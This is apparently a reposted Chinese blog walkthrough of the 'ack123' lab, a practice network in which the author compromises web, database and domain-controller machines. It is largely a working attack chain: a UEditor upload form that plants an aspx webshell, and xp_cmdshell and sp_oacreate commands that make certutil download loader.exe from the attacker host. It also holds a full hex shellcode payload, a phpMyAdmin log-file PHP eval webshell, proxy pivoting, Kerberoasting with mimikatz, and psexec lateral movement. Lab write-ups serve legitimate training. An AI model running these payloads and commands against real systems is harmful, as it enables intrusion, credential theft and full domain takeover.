滲透測試帶防御的內網域(ack123靶場)


一、環境搭建

這個靶場來自暗月內網滲透,是在前幾天網上沖浪的時候看到這篇文章 https://mp.weixin.qq.com/s/VB4elHdrHNCmPDP_ktcLRg,就下載靶場回來玩一下

靶場地址:https://pan.baidu.com/s/13g_1FFg-ZYYpBwkCvKyYWQ 提取碼:7fkj

拓撲圖是這樣的,靶場滲透的最終目標是獲取五台服務器的權限

 

靶機下載解壓后是五個掛起的虛擬機,需要手動添加兩個 vmnet 18、vmnet 19 兩個網卡,設置如下

 

另外我登錄靶機將 ip 地址都固定為拓撲圖所示地址,把 12server-web1 中 C:\Hws.com\HwsHostMaster\wwwroot\www.ackmoon.com\web\HdhApp.config 的 ip 地址換成 12server-data1 的地址

 

在攻擊機的 C:\Windows\System32\drivers\etc\hosts 文件綁定好 ip 和域名,本來靶場的 web 部分是要用 frp 映射到公網的,這里就降低難度直接在本地(192.168.59.1)打吧

 

二、外網打點

2.1 信息搜集

直接訪問域名 www.ackmoon.com 開始實驗,首頁顯示是網站是HDHCMS搭建的,搜索一下歷史漏洞發現只有一個邏輯缺陷漏洞,還是上手看看網站吧,域名后加 admin 直接跳轉到后台,嘗試一下弱口令無法登錄,再掃掃這台靶機的目錄和端口

  • 掃描端口:開放了 21、135、139、445、999 端口,windows server 2012 的服務器,999 端口是 phpmyadmin,嘗試了弱口令、爆破無法登錄
  • 掃描目錄:沒發現除 admin 目錄外的可利用點

后台有注冊功能,先注冊一個賬號 beiwo/beiwo@123 登錄上系統看看,看到后台顯示了一些服務器、系統相關信息

 

2.2 ueditor1.4.3任意文件上傳

ueditor1.4.3 有歷史漏洞,直接在 url 拼接路徑沒找到 controller.ashx 文件,下載回源碼全局搜一下,最終拼接路徑如下,訪問頁面顯示存在漏洞

http://www.ackmoon.com/admin/net/controller.ashx?action=catchimage

 

構造一個惡意的 html 文件

<form action="http://www.ackmoon.com/admin/net/controller.ashx?action=catchimage" enctype="application/x-www-form-urlencoded" method="POST">
<p>shell addr: <input type="text" name="source[]" /></p >
<input type="submit" value="Submit" />
</form>

 

在本地起一個 web 服務,制作一個免殺 aspx 馬,命名為 test.jpg,下圖 html 上傳框內填寫免殺馬地址 http://192.168.59.1/test.jpg?.aspx

 

點擊提交后得到路徑,蟻劍添加地址 http://www.ackmoon.com/upfiles/image/20211210/6377476568176757142106228.aspx,成功連接木馬

 

2.3 免殺上線cs(web1)

進行簡單的主機信息搜集,有兩個網卡,不在域內,數據庫配置文件暫時沒權限查看,准備上線 cs 后再提權

 

tasklist 看一下運行進程,使用 https://payloads.net/kill_software/ 在線分析主機運行着護衛神、360全家桶

 

然后免殺上線 cs

 

2.4 爛土豆提權(web1)

主機右鍵->Erebus->Local Privilege Escalation->Potatos(MS17-065)->Rotten-Potato,用 Erebus 插件的爛土豆模塊提權成功

 

三、內網滲透

3.1 mssql上線cs、提權(data1)

下載數據庫配置文件 C:\Hws.com\HwsHostMaster\wwwroot\www.ackmoon.com\web\HdhApp.config 發現是站庫分離的目標,數據庫是 mssql

  • 數據庫地址:192.168.22.133
  • 用戶名密碼:sa/pass123@.com

 

用 cs 自帶的 socks 代理,然后 proxifier 配置代理服務器、規則加入 navicat.exe,navicat 成功連接數據庫后再新建查詢,調用 xp_cmdshell 運行系統命令

EXEC master..xp_cmdshell 'ipconfig';

 

(注:xp_cmdshell 默認在 mssql2000 中是開啟的,在 mssql2005 之后的版本中默認禁止,如果用戶擁有管理員 sa 權限可以用 sp_configure 重新開啟

#語句還沒有實踐,先記錄一下
#啟用xp_cmdshell
EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;

#關閉xp_cmdshell
EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',0;
RECONFIGURE;

#恢復/刪除xp_cmdshell
EXEC sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll';
EXEC sp_dropextendedproc 'xplog70.dll';

) 

 

最初想用 certutil 遠程下載加載器,但是一直不成功,去靶機上看一下發現是火絨攔截導致失敗了

EXEC master..xp_cmdshell 'certutil -urlcache -split -f http://192.168.59.1/loader.exe C:\Windows\Temp\loader.exe';

 

解決方法來自這篇文章:記一次利用mssql上線

  • 開啟 sp_oacreate
exec sp_configure 'show advanced options', 1;  RECONFIGURE;  exec sp_configure 'Ole Automation Procedures', 1;  RECONFIGURE;
  • 利用 sp_oacreate 構造語句將 certutil.exe 復制到 C:\Windows\Temp\ 下,並重命名為 sethc.exe
declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'C:\Windows\System32\certutil.exe' ,'c:\windows\temp\sethc.exe';
  • certutil 工具遠程下載 loader.exe
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'C:\Windows\Temp\sethc.exe -urlcache -split -f "http://192.168.59.1/loader.exe" C:\Windows\Temp\loader.exe'
  • xp_cmdshell 執行命令加載 shellcode
EXEC master..xp_cmdshell 'C:\Windows\Temp\loader.exe fc4883e4f0e8c8000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d0668178180b0275728b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e94fffffff5d6a0049be77696e696e65740041564989e64c89f141ba4c772607ffd54831c94831d24d31c04d31c94150415041ba3a5679a7ffd5eb735a4889c141b8500000004d31c9415141516a03415141ba57899fc6ffd5eb595b4889c14831d24989d84d31c9526800024084525241baeb552e3bffd54889c64883c3506a0a5f4889f14889da49c7c0ffffffff4d31c9525241ba2d06187bffd585c00f859d01000048ffcf0f848c010000ebd3e9e4010000e8a2ffffff2f46793866002ddabc91e8945121d022d02f156a1503c5cd51ccef4de093690d8027d9ea23413e4bdafa614582509588d1d21a7c94b77396fcd533039d35ca438f1452cc83bff3426b0c87a8068f8200557365722d4167656e743a204d6f7a696c6c612f342e302028636f6d70617469626c653b204d53494520372e303b2057696e646f7773204e5420362e30290d0a00b186b2f0542a9dbf956bd1751005d0feca8653a9271e2bd900979626bd13d739a06fe1af267361138b19297bce00622b18c4866f806b76657621a9e971f9bc1160f835c05378f61780b3d5cdd6cc7b24721032dd0c4704227c9610733286a1361a8092259f8b5f90b21383008758f8e83bfb55fa975657ab098d1985e7474895c661487a2c6f6572c50e8802d9714c3c5c4496fa334758f41777626f44d64f4b3f2876d9492dfcb80a3c2461e396f8e362f60de951a10298429a0006d84c8927f11ec9176a32be7473eb17d91755465bd929026caaf8c56aa54d1e158ad216d67668d2d08d68c731fdf5656cf3f30041bef0b5a256ffd54831c9ba0000400041b80010000041b94000000041ba58a453e5ffd5489353534889e74889f14889da41b8002000004989f941ba129689e2ffd54883c42085c074b6668b074801c385c075d758585848050000000050c3e89ffdffff3139322e3136382e35392e3132390012345678';

 

data1 成功上線 cs,接着用 Erebus 插件的爛土豆模塊提權成功,然后用不到 web1,就先把它掛起吧,同時開五台實在太卡了

 

3.2 phpmyadmin后台getshell(web2)

然后前面主機信息搜集的時候發現有兩個網卡,再來探索一下 192.168.22.0/24 網段吧,掃描端口找到 192.168.22.135 開了 80 端口,用 cs 自帶的 socks 代理在本地瀏覽器訪問一下

 

提示用戶名和密碼都是 demo,登錄抓包發現 jwt

 

復制到 https://jwt.io/ 可以看到另一個 ip 地址(后續看並沒有這個 ip 段)、當前用戶 demo,但是缺少了密鑰不可以偽造 jwt

 

jwtcrack 工具跑了好久沒跑出來,又下了一個 jwt_tool 和字典 rockyou.txt 跑出密鑰為 Qweasdzxc5,偽造 admin 用戶登錄系統

 

不知道是我操作哪里有問題一直沒偽造成功,去看了看公開的 wp,發現考點是響應頭這里的細節,疑似使用 phpstudy v8.1 搭建,該版本 phpmyadmin 的路徑為  url/phpmyadmin4.8.5

Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02

 

然后 phpmyadmin 后台密碼是 root/Qweasdzxc5(這里邏輯我感覺不咋順,但是實戰當中啥都可能發生) 

 

常規操作 phpmyadmin 后台 getshell

#開啟日志
set global general_log='on';
#設置日志位置為網站目錄
set global general_log_file='C:\\phpstudy_pro\\WWW\\shell.php';
#傳個一句話
select '<?php @eval($_POST["apple"]); ?>';

 

蟻劍掛代理連 shell,簡單的信息搜集發現這台服務器沒有殺軟,直接是 system 權限,有域並且域控地址是 10.10.10.135,域管是 Administrator,域名是 ack123.com

 

3.3 不出網主機上線cs(web2)

cs 創建監聽器,payload 選 Beacon TCP,生成無狀態木馬並上傳到 web2 運行,在跳板機會話中執行 connect 192.168.22.135 2333,web2 正向連接上線,但是會話不穩定總是上線又下線,又試了一下 goproxy 把流量代出來,這樣就非常穩定了

proxy.exe 上傳到 data1,先在這台出網主機上開啟一個 8080 端口的 http 代理,然后再利用系統自帶的 netsh 命令將這台主機 59 出網段的 http 代理 8080 端口轉發至 22 不出網段的 8888 端口上,用於后期在 cs 監聽時設置 http 代理,工具下載地址:https://github.com/snail007/goproxy/releases/tag/v11.3

proxy.exe http -t tcp -p "0.0.0.0:8080" --daemon
netsh interface portproxy add v4tov4 listenaddress=192.168.22.133 listenport=8888 connectaddress=192.168.59.135 connectport=8080

 

創建掛代理的監聽器,HTTP Proxy 填寫內網網段地址

 

然后生成木馬,在 web2 運行后 cs 成功上線(電腦太卡啦,web1 被我掛起了所以會話沒了)

 

拿到域內機器先 mimikatz、hashdump 抓一下密碼,只有本地管理員的密碼,本來想解密看看的,但是 cmd5 沒充錢,其他網站沒查到,先嘗試一下其他思路

 

3.4 SPN掃描(web2)

查看 ack123.com 注冊的SPN,發現存在SPN服務

setspn -T ack123.com -q */*

 

mimikatz 申請創建票據,票據為RC4加密,所以可以通過爆破的方式得到服務對應用戶的密碼

mimikatz kerberos::ask /target:mysql/16server-dc1.ack123.com

 

查看並導出票據

mimikatz kerberos::list          #查看
mimikatz kerberos::list /export  #導出

 

pwd 看一下當前路徑,把票據下載回來

 

爆破域管密碼為 P@55w0rd!,工具下載地址:https://github.com/nidem/kerberoast,這個密碼我的常用字典里還真沒有,去看了 wp 用這個 kali 的字典才爆出來

python3 tgsrepcrack.py /usr/share/wordlists/fasttrack.txt 2-40a10000-12server-web2\$@mysql~16server-dc1.ack123.com-ACK123.COM.kirbi

 

3.5 哈希傳遞(dc1)

有域管的賬號密碼了嘗試 psexec 橫向上線,新建一個 Payload 為 Beacon SMB 的監聽,探測一下存活主機,然后存活主機右鍵->Jump->psexec64,填寫之前獲取到的憑據

 

域控成功上線!(data2 和 dc1 情況是一樣的,同理可上線,內存不夠啦相同的操作就不做第二次了 )

 

四、總結

通過這個靶機又學到了新東西,cs 的 pid 有前后不同的情況,是因為靶機沒有一口氣打完電腦重啟了就重新起了會話,還有是之前上線的方式我覺得不夠優美,學到新東西就又重新上線了一下,為了學習折騰啦

 

 

參考文章:

https://www.cnblogs.com/sup3rman/archive/2020/06/09/13071382.html

https://www.jianshu.com/p/9d5e8236647e

https://www.modb.pro/db/66128

https://xz.aliyun.com/t/9265

https://blog.csdn.net/weixin_43970718/article/details/121068969

https://my.oschina.net/xxxasec/blog/5176721 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM